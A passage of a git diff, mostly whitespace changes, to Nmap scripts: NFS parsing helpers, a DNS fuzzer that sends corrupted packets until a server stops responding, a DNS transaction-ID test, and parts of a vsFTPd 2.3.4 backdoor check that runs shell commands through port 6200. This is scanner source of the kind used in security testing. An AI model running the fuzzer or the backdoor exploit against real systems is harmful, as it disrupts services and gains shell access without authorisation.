Util.unmarshall_uint32(data, pos, 2) + return pos, nfstime + end, + + --- Unmarshall NFS file attributes + -- + -- @param data The data being processed. + -- @param pos The position within data + -- @param number The NFS version. + -- @return pos The new position + -- @return table The decoded file attributes table. + unmarshall_nfsattr = function(data, pos, nfsversion) + local attr = {} + pos, attr.type = Util.unmarshall_nfsftype(data, pos) + pos, attr.mode = Util.unmarshall_nfsfmode(data, pos) + pos, attr.nlink, attr.uid, + attr.gid = Util.unmarshall_uint32(data, pos, 3) + + if (nfsversion < 3) then + pos, attr.size, attr.blocksize, attr.rdev, attr.blocks, + attr.fsid, attr.fileid = Util.unmarshall_uint32(data, pos, 6) + elseif (nfsversion == 3) then + pos, attr.size = Util.unmarshall_nfssize3(data, pos) + pos, attr.used = Util.unmarshall_nfssize3(data, pos) + pos, attr.rdev = Util.unmarshall_nfsspecdata3(data, pos) + pos, attr.fsid = Util.unmarshall_uint64(data, pos) + pos, attr.fileid = Util.unmarshall_nfsfileid3(data, pos) + else + stdnse.print_debug(4, "unmarshall_nfsattr: unsupported NFS version %d", + nfsversion) + return -1, nil + end + + pos, attr.atime = Util.unmarshall_nfstime(data, pos) + pos, attr.mtime = Util.unmarshall_nfstime(data, pos) + pos, attr.ctime = Util.unmarshall_nfstime(data, pos) + + return pos, attr + end, + + --- Returns a string containing date and time + -- + -- @param number of seconds since some given start time + -- (the "epoch") + -- @return string that represents time. + TimeToString = stdnse.format_timestamp, + + --- Converts the size in bytes to a human readable format + -- + -- An optional second argument is the size of a block + -- @usage + -- size_tohuman(1024) --> 1024.0B + -- size_tohuman(926548776) --> 883.6M + -- size_tohuman(246548, 1024) --> 240.8K + -- size_tohuman(246548, 1000) --> 246.5K + -- + -- @param size in bytes + -- @param blocksize represents the number of bytes per block + -- Possible values are: 1024 or 1000 + -- Default value is: 1024 + -- @return string containing the size in the human readable + -- format + SizeToHuman = function(size, blocksize) + local bs, idx = 1024, 1 + local unit = { "B", "K", "M", "G" , "T"} + if blocksize and blocksize == 1000 then + bs = blocksize + end + for i=1, #unit do + if (size > bs and idx < #unit) then + size = size / bs + idx = idx + 1 + end + end + return string.format("%.1f%s", size, unit[idx]) + end, + + format_access = function(mask, version) + local ret, nfsobj = "", NFS:new() + + if nfsobj:AccessRead(mask, version) ~= 0 then + ret = "Read " + else + ret = "NoRead " + end + + if nfsobj:AccessLookup(mask, version) ~= 0 then + ret = ret .. "Lookup " + else + ret = ret .. "NoLookup " + end + + if nfsobj:AccessModify(mask, version) ~= 0 then + ret = ret .. "Modify " + else + ret = ret .. "NoModify " + end + + if nfsobj:AccessExtend(mask, version) ~= 0 then + ret = ret .. "Extend " + else + ret = ret .. "NoExtend " + end + + if nfsobj:AccessDelete(mask, version) ~= 0 then + ret = ret .. "Delete " + else + ret = ret .. "NoDelete " + end + + if nfsobj:AccessExecute(mask, version) ~= 0 then + ret = ret .. "Execute" + else + ret = ret .. "NoExecute" + end + + return ret + end, + + --- Return the pathconf filesystem table + -- + -- @param pconf table returned by the NFSv3 PATHCONF call + -- @param nfsversion the version of the remote NFS server + -- @return fs table that contains the remote filesystem + -- pathconf information. + calc_pathconf_table = function(pconf, nfsversion) + local fs = {} + if nfsversion ~= 3 then + return nil, "ERROR: unsupported NFS version." + end + + fs.linkmax = pconf.linkmax + fs.name_max = pconf.name_max + + if pconf.chown_restricted then + fs.chown_restricted = "True" + else + fs.chown_restricted = "False" + end + + return fs, nil + end, + + --- Calculate and return the fsinfo filesystem table + -- + -- @param fsinfo table returned by the NFSv3 FSINFO call + -- @param nfsversion the version of the remote NFS server + -- @param human if set show the size in the human + -- readable format. + -- @return fs table that contains the remote filesystem + -- information. + calc_fsinfo_table = function(fsinfo, nfsversion, human) + local fs = {} + local nfsobj = NFS:new() + if nfsversion ~= 3 then + return nil, "ERROR: unsupported NFS version." + end + + fs.maxfilesize = Util.SizeToHuman(fsinfo.maxfilesize) + + if nfsobj:FSinfoLink(fsinfo.properties, nfsversion) ~= 0 then + fs.link = "True" + else + fs.link = "False" + end + + if nfsobj:FSinfoSymlink(fsinfo.properties, nfsversion) ~= 0 then + fs.symlink = "True" + else + fs.symlink = "False" + end + + return fs, nil + end, + + --- Calculate and return the fsstat filesystem table + -- + -- @param stats table returned by the NFSv3 FSSTAT or + -- NFSv2 STATFS calls + -- @param nfsversion the version of the remote NFS server + -- @param human if set show the size in the human + -- readable format. + -- @return df table that contains the remote filesystem + -- attributes. + calc_fsstat_table = function(stats, nfsversion, human) + local df, base = {}, 1024 + local size, free, total, avail, used, use + if (nfsversion == 3) then + free = stats.fbytes + size = stats.tbytes + avail = stats.abytes + elseif (nfsversion == 2) then + df.bsize = stats.block_size + free = stats.free_blocks * df.bsize + size = stats.total_blocks * df.bsize + avail = stats.available_blocks * df.bsize + else + return nil, "ERROR: unsupported NFS version." + end + + if (human) then + if (df.bsize) then + df.bsize = Util.SizeToHuman(df.bsize) + end + df.size = Util.SizeToHuman(size) + df.available = Util.SizeToHuman(avail) + used = size - free + avail = avail + df.used = Util.SizeToHuman(used) + total = used + avail + else + free = free / base + df.size = size / base + df.available = avail / base + used = df.size - free + df.used = used + total = df.used + df.available + end + + use = math.ceil(used * 100 / total) + df.use = string.format("%.0f%%", use) + return df, nil + end, --- Converts a RPC program name to it's equivalent number -- @@ -3429,7 +3429,7 @@ Util = -- @param length contains the length of the string -- @return the amount of pad needed to be dividable by 4 CalcFillBytes = function(length) - -- calculate fill bytes + -- calculate fill bytes if math.fmod( length, 4 ) ~= 0 then return (4 - math.fmod( length, 4)) else diff --git a/scripts/dns-fuzz.nse b/scripts/dns-fuzz.nse index 846bbc573..e4074d86e 100644 --- a/scripts/dns-fuzz.nse +++ b/scripts/dns-fuzz.nse @@ -58,40 +58,40 @@ recursiveServer = "scanme.nmap.org" -- @param port The servers port -- @return Bool, true if and only if the server is alive function pingServer (host, port, attempts) - local status, response, result - -- If the server doesn't respond to the first in a multiattempt probe, slow down - local slowDown = 1 - if not recursiveOnly then - -- try to get a server status message - -- The method that nmap uses by default - local data - local pkt = dns.newPacket() - pkt.id = math.random(65535) + local status, response, result + -- If the server doesn't respond to the first in a multiattempt probe, slow down + local slowDown = 1 + if not recursiveOnly then + -- try to get a server status message + -- The method that nmap uses by default + local data + local pkt = dns.newPacket() + pkt.id = math.random(65535) - pkt.flags.OC3 = true + pkt.flags.OC3 = true - data = dns.encode(pkt) + data = dns.encode(pkt) - for i = 1, attempts do - status, result = comm.exchange(host, port, data, {timeout=math.pow(DNStimeout,slowDown)}) - if status then - return true - end - slowDown = slowDown + 0.25 - end + for i = 1, attempts do + status, result = comm.exchange(host, port, data, {timeout=math.pow(DNStimeout,slowDown)}) + if status then + return true + end + slowDown = slowDown + 0.25 + end - return false - else - -- just do a vanilla recursive lookup of scanme.nmap.org - for i = 1, attempts do - status, response = dns.query(recursiveServer, {host=host.ip, port=port.number, proto=port.protocol, tries=1, timeout=math.pow(DNStimeout,slowDown)}) - if status then - return true - end - slowDown = slowDown + 0.25 - end - return false - end + return false + else + -- just do a vanilla recursive lookup of scanme.nmap.org + for i = 1, attempts do + status, response = dns.query(recursiveServer, {host=host.ip, port=port.number, proto=port.protocol, tries=1, timeout=math.pow(DNStimeout,slowDown)}) + if status then + return true + end + slowDown = slowDown + 0.25 + end + return false + end end --- @@ -99,13 +99,13 @@ end -- the requested domain names -- @return Random string of lowercase characters function makeWord () - local len = math.random(3,7) - local name = string.char(len) - for i = 1, len do - -- this next line assumes ascii - name = name .. string.char(math.random(string.byte("a"),string.byte("z"))) - end - return name + local len = math.random(3,7) + local name = string.char(len) + for i = 1, len do + -- this next line assumes ascii + name = name .. string.char(math.random(string.byte("a"),string.byte("z"))) + end + return name end --- @@ -115,19 +115,19 @@ end -- @param compressed Bool, whether or not this record should have a compressed field -- @return A dns host string function makeHost (compressed) - -- randomly choose between 2 to 4 levels in this domain - local levels = math.random(2,4) - local name = "" - for i = 1, levels do - name = name .. makeWord () - end - if compressed then - name = name .. string.char(0xC0) .. string.char(0x0C) - else - name = name .. string.char(0x00) - end + -- randomly choose between 2 to 4 levels in this domain + local levels = math.random(2,4) + local name = "" + for i = 1, levels do + name = name .. makeWord () + end + if compressed then + name = name .. string.char(0xC0) .. string.char(0x0C) + else + name = name .. string.char(0x00) + end - return name + return name end --- @@ -135,25 +135,25 @@ end -- makeHost(). This packet is to be corrupted. -- @return Always returns a valid packet function makePacket() - local recurs = 0x00 - if recursiveOnly then - recurs = 0x01 - end - return - string.char( math.random(0,255), math.random(0,255), -- TXID - recurs, 0x00, -- Flags, recursion disabled by default for obvious reasons - 0x00, 0x02, -- Questions - 0x00, 0x00, -- Answer RRs - 0x00, 0x00, -- Authority RRs - 0x00, 0x00) -- Additional RRs - -- normal host - .. makeHost (false) .. -- Hostname - string.char( 0x00, 0x01, -- Type (A) - 0x00, 0x01) -- Class (IN) - -- compressed host - .. makeHost (true) .. -- Hostname - string.char( 0x00, 0x05, -- Type (CNAME) - 0x00, 0x01) -- Class (IN) + local recurs = 0x00 + if recursiveOnly then + recurs = 0x01 + end + return + string.char( math.random(0,255), math.random(0,255), -- TXID + recurs, 0x00, -- Flags, recursion disabled by default for obvious reasons + 0x00, 0x02, -- Questions + 0x00, 0x00, -- Answer RRs + 0x00, 0x00, -- Authority RRs + 0x00, 0x00) -- Additional RRs + -- normal host + .. makeHost (false) .. -- Hostname + string.char( 0x00, 0x01, -- Type (A) + 0x00, 0x01) -- Class (IN) + -- compressed host + .. makeHost (true) .. -- Hostname + string.char( 0x00, 0x05, -- Type (CNAME) + 0x00, 0x01) -- Class (IN) end --- @@ -167,18 +167,18 @@ end -- @param dnsPacket A packet, generated by makePacket() -- @return The same packet, but with bit flip errors function nudgePacket (dnsPacket) - local newPacket = "" - -- Iterate over every byte in the packet - dnsPacket:gsub(".", function(c) - -- Induce bit errors at a rate of 1/50. - if math.random(50) == 25 then - -- Bitflip algorithm: c ^ 1<<(rand()%7) - newPacket = newPacket .. string.char( bit.bxor(c:byte(), bit.lshift(1, math.random(0,7))) ) - else - newPacket = newPacket .. c - end - end) - return newPacket + local newPacket = "" + -- Iterate over every byte in the packet + dnsPacket:gsub(".", function(c) + -- Induce bit errors at a rate of 1/50. + if math.random(50) == 25 then + -- Bitflip algorithm: c ^ 1<<(rand()%7) + newPacket = newPacket .. string.char( bit.bxor(c:byte(), bit.lshift(1, math.random(0,7))) ) + else + newPacket = newPacket .. c + end + end) + return newPacket end --- @@ -186,17 +186,17 @@ end -- @param dnsPacket A packet, generated by makePacket() -- @return The same packet, but with a single byte missing function dropByte (dnsPacket) - local newPacket = "" - local byteToDrop = math.random(dnsPacket:len())-1 - local i = 0 - -- Iterate over every byte in the packet - dnsPacket:gsub(".", function(c) - i=i+1 - if not i==byteToDrop then - newPacket = newPacket .. c - end - end) - return newPacket + local newPacket = "" + local byteToDrop = math.random(dnsPacket:len())-1 + local i = 0 + -- Iterate over every byte in the packet + dnsPacket:gsub(".", function(c) + i=i+1 + if not i==byteToDrop then + newPacket = newPacket .. c + end + end) + return newPacket end --- @@ -204,18 +204,18 @@ end -- @param dnsPacket A packet, generated by makePacket() -- @return The same packet, but with a single byte missing function injectByte (dnsPacket) - local newPacket = "" - local byteToInject = math.random(dnsPacket:len())-1 - local i = 0 - -- Iterate over every byte in the packet - dnsPacket:gsub(".", function(c) - i=i+1 - if i==byteToInject then - newPacket = newPacket .. string.char(math.random(0,255)) - end - newPacket = newPacket .. c - end) - return newPacket + local newPacket = "" + local byteToInject = math.random(dnsPacket:len())-1 + local i = 0 + -- Iterate over every byte in the packet + dnsPacket:gsub(".", function(c) + i=i+1 + if i==byteToInject then + newPacket = newPacket .. string.char(math.random(0,255)) + end + newPacket = newPacket .. c + end) + return newPacket end --- @@ -223,19 +223,19 @@ end -- @param dnsPacket A packet, generated by makePacket() -- @return The same packet, but with a single byte missing function truncatePacket (dnsPacket) - local newPacket = "" - -- at least 12 bytes to make sure the packet isn't dropped as a tinygram - local eatPacketPos = math.random(12,dnsPacket:len())-1 - local i = 0 - -- Iterate over every byte in the packet - dnsPacket:gsub(".", function(c) - i=i+1 - if i==eatPacketPos then - return - end - newPacket = newPacket .. c - end) - return newPacket + local newPacket = "" + -- at least 12 bytes to make sure the packet isn't dropped as a tinygram + local eatPacketPos = math.random(12,dnsPacket:len())-1 + local i = 0 + -- Iterate over every byte in the packet + dnsPacket:gsub(".", function(c) + i=i+1 + if i==eatPacketPos then + return + end + newPacket = newPacket .. c + end) + return newPacket end --- @@ -247,89 +247,89 @@ end -- @param query An uncorrupted DNS packet -- @return A string if the server died, else nil function corruptAndSend (host, port, query) - local randCorr = math.random(0,4) - local status - local result - -- 10 is arbitrary, but seemed like a good number - for j = 1, 10 do - if randCorr<=1 then - -- slight bias to nudging because it seems to work better - query = nudgePacket(query) - elseif randCorr==2 then - query = dropByte(query) - elseif randCorr==3 then - query = injectByte(query) - elseif randCorr==4 then - query = truncatePacket(query) - end + local randCorr = math.random(0,4) + local status + local result + -- 10 is arbitrary, but seemed like a good number + for j = 1, 10 do + if randCorr<=1 then + -- slight bias to nudging because it seems to work better + query = nudgePacket(query) + elseif randCorr==2 then + query = dropByte(query) + elseif randCorr==3 then + query = injectByte(query) + elseif randCorr==4 then + query = truncatePacket(query) + end - status, result = comm.exchange(host, port, query, {timeout=DNStimeout}) - if not status then - if not pingServer(host,port,3) then - -- no response after three tries, the server is probably dead - return "Server stopped responding... He's dead, Jim.\n".. - "Offending packet: 0x".. stdnse.tohex(query) - else - -- We corrupted the packet too much, the server will just drop it - -- No point in using it again - return nil - end - end - if randCorr==4 then - -- no point in using this function more then once - return nil - end - end - return nil + status, result = comm.exchange(host, port, query, {timeout=DNStimeout}) + if not status then + if not pingServer(host,port,3) then + -- no response after three tries, the server is probably dead + return "Server stopped responding... He's dead, Jim.\n".. + "Offending packet: 0x".. stdnse.tohex(query) + else + -- We corrupted the packet too much, the server will just drop it + -- No point in using it again + return nil + end + end + if randCorr==4 then + -- no point in using this function more then once + return nil + end + end + return nil end action = function(host, port) - local endT - local timelimit, err - local retStr - local query + local endT + local timelimit, err + local retStr + local query - for _, k in ipairs({"dns-fuzz.timelimit", "timelimit"}) do - if nmap.registry.args[k] then - timelimit, err = stdnse.parse_timespec(nmap.registry.args[k]) - if not timelimit then - error(err) - end - break - end - end - if timelimit and timelimit > 0 then - -- seconds to milliseconds plus the current time - endT = timelimit*1000 + nmap.clock_ms() - elseif not timelimit then - -- 10 minutes - endT = 10*60*1000 + nmap.clock_ms() - end + for _, k in ipairs({"dns-fuzz.timelimit", "timelimit"}) do + if nmap.registry.args[k] then + timelimit, err = stdnse.parse_timespec(nmap.registry.args[k]) + if not timelimit then + error(err) + end + break + end + end + if timelimit and timelimit > 0 then + -- seconds to milliseconds plus the current time + endT = timelimit*1000 + nmap.clock_ms() + elseif not timelimit then + -- 10 minutes + endT = 10*60*1000 + nmap.clock_ms() + end - -- Check if the server is a DNS server. - if not pingServer(host,port,1) then - -- David reported that his DNS server doesn't respond to - recursiveOnly = true - if not pingServer(host,port,1) then - return "Server didn't response to our probe, can't fuzz" - end - end - nmap.set_port_state (host, port, "open") + -- Check if the server is a DNS server. + if not pingServer(host,port,1) then + -- David reported that his DNS server doesn't respond to + recursiveOnly = true + if not pingServer(host,port,1) then + return "Server didn't response to our probe, can't fuzz" + end + end + nmap.set_port_state (host, port, "open") - -- If the user specified that we should run for n seconds, then don't run for too much longer - -- If 0 seconds, then run forever - while not endT or nmap.clock_ms()= 2 or nmap.debugging() >= 1) then - return "ERROR: TIMEOUT" - else - return - end - end + -- Fail gracefully + if not status then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: TIMEOUT" + else + return + end + end - -- Update the port - nmap.set_port_state(host, port, "open") + -- Update the port + nmap.set_port_state(host, port, "open") - -- Now we need to "parse" the results to check to see if they are good + -- Now we need to "parse" the results to check to see if they are good - -- We need a minimum of 5 bytes... - if (#result < 5) then - if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then - return "ERROR: Malformed response" - else - return - end - end + -- We need a minimum of 5 bytes... + if (#result < 5) then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: Malformed response" + else + return + end + end - -- Check TXID - if (string.byte(result, 1) ~= 0xbe - or string.byte(result, 2) ~= 0xef) then - if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then - return "ERROR: Invalid Transaction ID" - else - return - end - end + -- Check TXID + if (string.byte(result, 1) ~= 0xbe + or string.byte(result, 2) ~= 0xef) then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: Invalid Transaction ID" + else + return + end + end - -- Check response flag and recursion - if not (bit.band(string.byte(result, 3), 0x80) == 0x80 - and bit.band(string.byte(result, 4), 0x80) == 0x80) then - if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then - return "ERROR: Server refused recursion" - else - return - end - end + -- Check response flag and recursion + if not (bit.band(string.byte(result, 3), 0x80) == 0x80 + and bit.band(string.byte(result, 4), 0x80) == 0x80) then + if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then + return "ERROR: Server refused recursion" + else + return + end + end - -- Check error flag - if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then - if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then - return "ERROR: Server failure" - else - return - end - end + -- Check error flag + if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then + if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then + return "ERROR: Server failure" + else + return + end + end - -- Check for two Answer RRs and 1 Authority RR - if (string.byte(result, 5) ~= 0x00 - or string.byte(result, 6) ~= 0x01 - or string.byte(result, 7) ~= 0x00 - or string.byte(result, 8) ~= 0x02) then - if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then - return "ERROR: Response did not include expected answers" - else - return - end - end + -- Check for two Answer RRs and 1 Authority RR + if (string.byte(result, 5) ~= 0x00 + or string.byte(result, 6) ~= 0x01 + or string.byte(result, 7) ~= 0x00 + or string.byte(result, 8) ~= 0x02) then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: Response did not include expected answers" + else + return + end + end - -- We need a minimum of 128 bytes... - if (#result < 128) then - if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then - return "ERROR: Truncated response" - else - return - end - end + -- We need a minimum of 128 bytes... + if (#result < 128) then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: Truncated response" + else + return + end + end - -- Here is the really fragile part. If the DNS response changes - -- in any way, this won't work and will fail. - -- Jump to second answer and check to see that it is TXT, IN - -- then grab the length and display that text... + -- Here is the really fragile part. If the DNS response changes + -- in any way, this won't work and will fail. + -- Jump to second answer and check to see that it is TXT, IN + -- then grab the length and display that text... - -- Check for TXT - if (string.byte(result, 118) ~= 0x00 - or string.byte(result, 119) ~= 0x10) - then - if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then - return "ERROR: Answer record not of type TXT" - else - return - end - end + -- Check for TXT + if (string.byte(result, 118) ~= 0x00 + or string.byte(result, 119) ~= 0x10) + then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: Answer record not of type TXT" + else + return + end + end - -- Check for IN - if (string.byte(result, 120) ~= 0x00 - or string.byte(result, 121) ~= 0x01) then - if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then - return "ERROR: Answer record not of type IN" - else - return - end - end + -- Check for IN + if (string.byte(result, 120) ~= 0x00 + or string.byte(result, 121) ~= 0x01) then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: Answer record not of type IN" + else + return + end + end - -- Get TXT length - local txtlen = string.byte(result, 128) + -- Get TXT length + local txtlen = string.byte(result, 128) - -- We now need a minimum of 128 + txtlen bytes + 1... - if (#result < 128 + txtlen) then - if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then - return "ERROR: Truncated response" - else - return - end - end + -- We now need a minimum of 128 + txtlen bytes + 1... + if (#result < 128 + txtlen) then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: Truncated response" + else + return + end + end - -- GET TXT record - local txtrd = string.sub(result, 129, 128 + txtlen) + -- GET TXT record + local txtrd = string.sub(result, 129, 128 + txtlen) - return txtrd + return txtrd end diff --git a/scripts/dns-random-txid.nse b/scripts/dns-random-txid.nse index 7d7448a4e..834b956a3 100644 --- a/scripts/dns-random-txid.nse +++ b/scripts/dns-random-txid.nse @@ -43,147 +43,147 @@ portrule = shortport.portnumber(53, "udp") action = function(host, port) - -- TXID: 0xbabe - -- Flags: 0x0100 - -- Questions: 1 - -- Answer RRs: 0 - -- Authority RRs: 0 - -- Additional RRs: 0 + -- TXID: 0xbabe + -- Flags: 0x0100 + -- Questions: 1 + -- Answer RRs: 0 + -- Authority RRs: 0 + -- Additional RRs: 0 - -- Query: - -- Name: txidtest, dns-oarc, net - -- Type: TXT (0x0010) - -- Class: IN (0x0001) + -- Query: + -- Name: txidtest, dns-oarc, net + -- Type: TXT (0x0010) + -- Class: IN (0x0001) - local query = string.char( 0xba, 0xbe, -- TXID - 0x01, 0x00, -- Flags - 0x00, 0x01, -- Questions - 0x00, 0x00, -- Answer RRs - 0x00, 0x00, -- Authority RRs - 0x00, 0x00, -- Additional RRs - 0x08) .. "txidtest" .. - string.char( 0x08) .. "dns-oarc" .. - string.char( 0x03) .. "net" .. - string.char( 0x00, -- Name terminator - 0x00, 0x10, -- Type (TXT) - 0x00, 0x01) -- Class (IN) + local query = string.char( 0xba, 0xbe, -- TXID + 0x01, 0x00, -- Flags + 0x00, 0x01, -- Questions + 0x00, 0x00, -- Answer RRs + 0x00, 0x00, -- Authority RRs + 0x00, 0x00, -- Additional RRs + 0x08) .. "txidtest" .. + string.char( 0x08) .. "dns-oarc" .. + string.char( 0x03) .. "net" .. + string.char( 0x00, -- Name terminator + 0x00, 0x10, -- Type (TXT) + 0x00, 0x01) -- Class (IN) - local status, result = comm.exchange(host, port, query, {proto="udp", - timeout=20000}) + local status, result = comm.exchange(host, port, query, {proto="udp", + timeout=20000}) - -- Fail gracefully - if not status then - if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then - return "ERROR: TIMEOUT" - else - return - end - end + -- Fail gracefully + if not status then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: TIMEOUT" + else + return + end + end - -- Update the port - nmap.set_port_state(host, port, "open") + -- Update the port + nmap.set_port_state(host, port, "open") - -- Now we need to "parse" the results to check to see if they are good + -- Now we need to "parse" the results to check to see if they are good - -- We need a minimum of 5 bytes... - if (#result < 5) then - if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then - return "ERROR: Malformed response" - else - return - end - end + -- We need a minimum of 5 bytes... + if (#result < 5) then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: Malformed response" + else + return + end + end - -- Check TXID - if (string.byte(result, 1) ~= 0xba - or string.byte(result, 2) ~= 0xbe) then - if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then - return "ERROR: Invalid Transaction ID" - else - return - end - end + -- Check TXID + if (string.byte(result, 1) ~= 0xba + or string.byte(result, 2) ~= 0xbe) then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: Invalid Transaction ID" + else + return + end + end - -- Check response flag and recursion - if not (bit.band(string.byte(result, 3), 0x80) == 0x80 - and bit.band(string.byte(result, 4), 0x80) == 0x80) then - if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then - return "ERROR: Server refused recursion" - else - return - end - end + -- Check response flag and recursion + if not (bit.band(string.byte(result, 3), 0x80) == 0x80 + and bit.band(string.byte(result, 4), 0x80) == 0x80) then + if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then + return "ERROR: Server refused recursion" + else + return + end + end - -- Check error flag - if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then - if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then - return "ERROR: Server failure" - else - return - end - end + -- Check error flag + if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then + if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then + return "ERROR: Server failure" + else + return + end + end - -- Check for two Answer RRs and 1 Authority RR - if (string.byte(result, 5) ~= 0x00 - or string.byte(result, 6) ~= 0x01 - or string.byte(result, 7) ~= 0x00 - or string.byte(result, 8) ~= 0x02) then - if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then - return "ERROR: Response did not include expected answers" - else - return - end - end + -- Check for two Answer RRs and 1 Authority RR + if (string.byte(result, 5) ~= 0x00 + or string.byte(result, 6) ~= 0x01 + or string.byte(result, 7) ~= 0x00 + or string.byte(result, 8) ~= 0x02) then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: Response did not include expected answers" + else + return + end + end - -- We need a minimum of 128 bytes... - if (#result < 128) then - if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then - return "ERROR: Truncated response" - else - return - end - end + -- We need a minimum of 128 bytes... + if (#result < 128) then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: Truncated response" + else + return + end + end - -- Here is the really fragile part. If the DNS response changes - -- in any way, this won't work and will fail. - -- Jump to second answer and check to see that it is TXT, IN - -- then grab the length and display that text... + -- Here is the really fragile part. If the DNS response changes + -- in any way, this won't work and will fail. + -- Jump to second answer and check to see that it is TXT, IN + -- then grab the length and display that text... - -- Check for TXT - if (string.byte(result, 118) ~= 0x00 - or string.byte(result, 119) ~= 0x10) - then - if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then - return "ERROR: Answer record not of type TXT" - else - return - end - end + -- Check for TXT + if (string.byte(result, 118) ~= 0x00 + or string.byte(result, 119) ~= 0x10) + then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: Answer record not of type TXT" + else + return + end + end - -- Check for IN - if (string.byte(result, 120) ~= 0x00 - or string.byte(result, 121) ~= 0x01) then - if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then - return "ERROR: Answer record not of type IN" - else - return - end - end + -- Check for IN + if (string.byte(result, 120) ~= 0x00 + or string.byte(result, 121) ~= 0x01) then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: Answer record not of type IN" + else + return + end + end - -- Get TXT length - local txtlen = string.byte(result, 128) + -- Get TXT length + local txtlen = string.byte(result, 128) - -- We now need a minimum of 128 + txtlen bytes + 1... - if (#result < 128 + txtlen) then - if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then - return "ERROR: Truncated response" - else - return - end - end + -- We now need a minimum of 128 + txtlen bytes + 1... + if (#result < 128 + txtlen) then + if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then + return "ERROR: Truncated response" + else + return + end + end - -- GET TXT record - local txtrd = string.sub(result, 129, 128 + txtlen) + -- GET TXT record + local txtrd = string.sub(result, 129, 128 + txtlen) - return txtrd + return txtrd end diff --git a/scripts/ftp-vsftpd-backdoor.nse b/scripts/ftp-vsftpd-backdoor.nse index 024b520be..b8b457679 100644 --- a/scripts/ftp-vsftpd-backdoor.nse +++ b/scripts/ftp-vsftpd-backdoor.nse @@ -85,7 +85,7 @@ local function check_backdoor(host, shell_cmd, vuln) local status, ret = socket:connect(host, 6200, "tcp") if not status then stdnse.print_debug(3, "%s: can't connect to tcp port 6200: NOT VULNERABLE", - SCRIPT_NAME) + SCRIPT_NAME) vuln.state = vulns.STATE.NOT_VULN return finish_ftp(socket, true) end @@ -98,14 +98,14 @@ local function check_backdoor(host, shell_cmd, vuln) status, ret = socket:receive_lines(1) if not status then return finish_ftp(socket, false, - string.format("failed to read shell command results: %s", - ret)) + string.format("failed to read shell command results: %s", + ret)) end if not ret:match("uid=") then stdnse.print_debug(3, - "%s: service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE", - SCRIPT_NAME) + "%s: service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE", + SCRIPT_NAME) vuln.state = vulns.STATE.NOT_VULN return finish_ftp(socket, true) else @@ -117,8 +117,8 @@ local function check_backdoor(host, shell_cmd, vuln) status, ret = socket:receive_lines(1) if not status then return finish_ftp(socket, false, - string.format("failed to read shell commands results: %s", - ret)) + string.format("failed to read shell commands results: %s", + ret)) end else socket:send("exit\n"); @@ -127,10 +127,10 @@ local function check_backdoor(host, shell_cmd, vuln) vuln.state = vulns.STATE.EXPLOIT table.insert(vuln.exploit_results, - string.format("Shell command: %s", shell_cmd)) + string.format("Shell command: %s", shell_cmd)) local result = string.gsub(ret, "^%s*(.-)\n*$", "%1") table.insert(vuln.exploit_results, - string.format("Results: %s", result)) + string.format("Results: %s", result)) return finish_ftp(socket, true) end @@ -138,7 +138,7 @@ end action = function(host, port) -- Get script arguments. local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or - stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID + stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID local vsftp_vuln = { title = "vsFTPd version 2.3.4 backdoor", @@ -146,8 +146,8 @@ action = function(host, port) description = [[ vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]], references = { -'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html', -'https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13093', + 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html', + 'https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13093', }, dates = { disclosure = {year = '2011', month = '07', day = '03'}, @@ -164,11 +164,11 @@ vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]], -- Create socket. local sock, err = ftp.connect(host, port, - 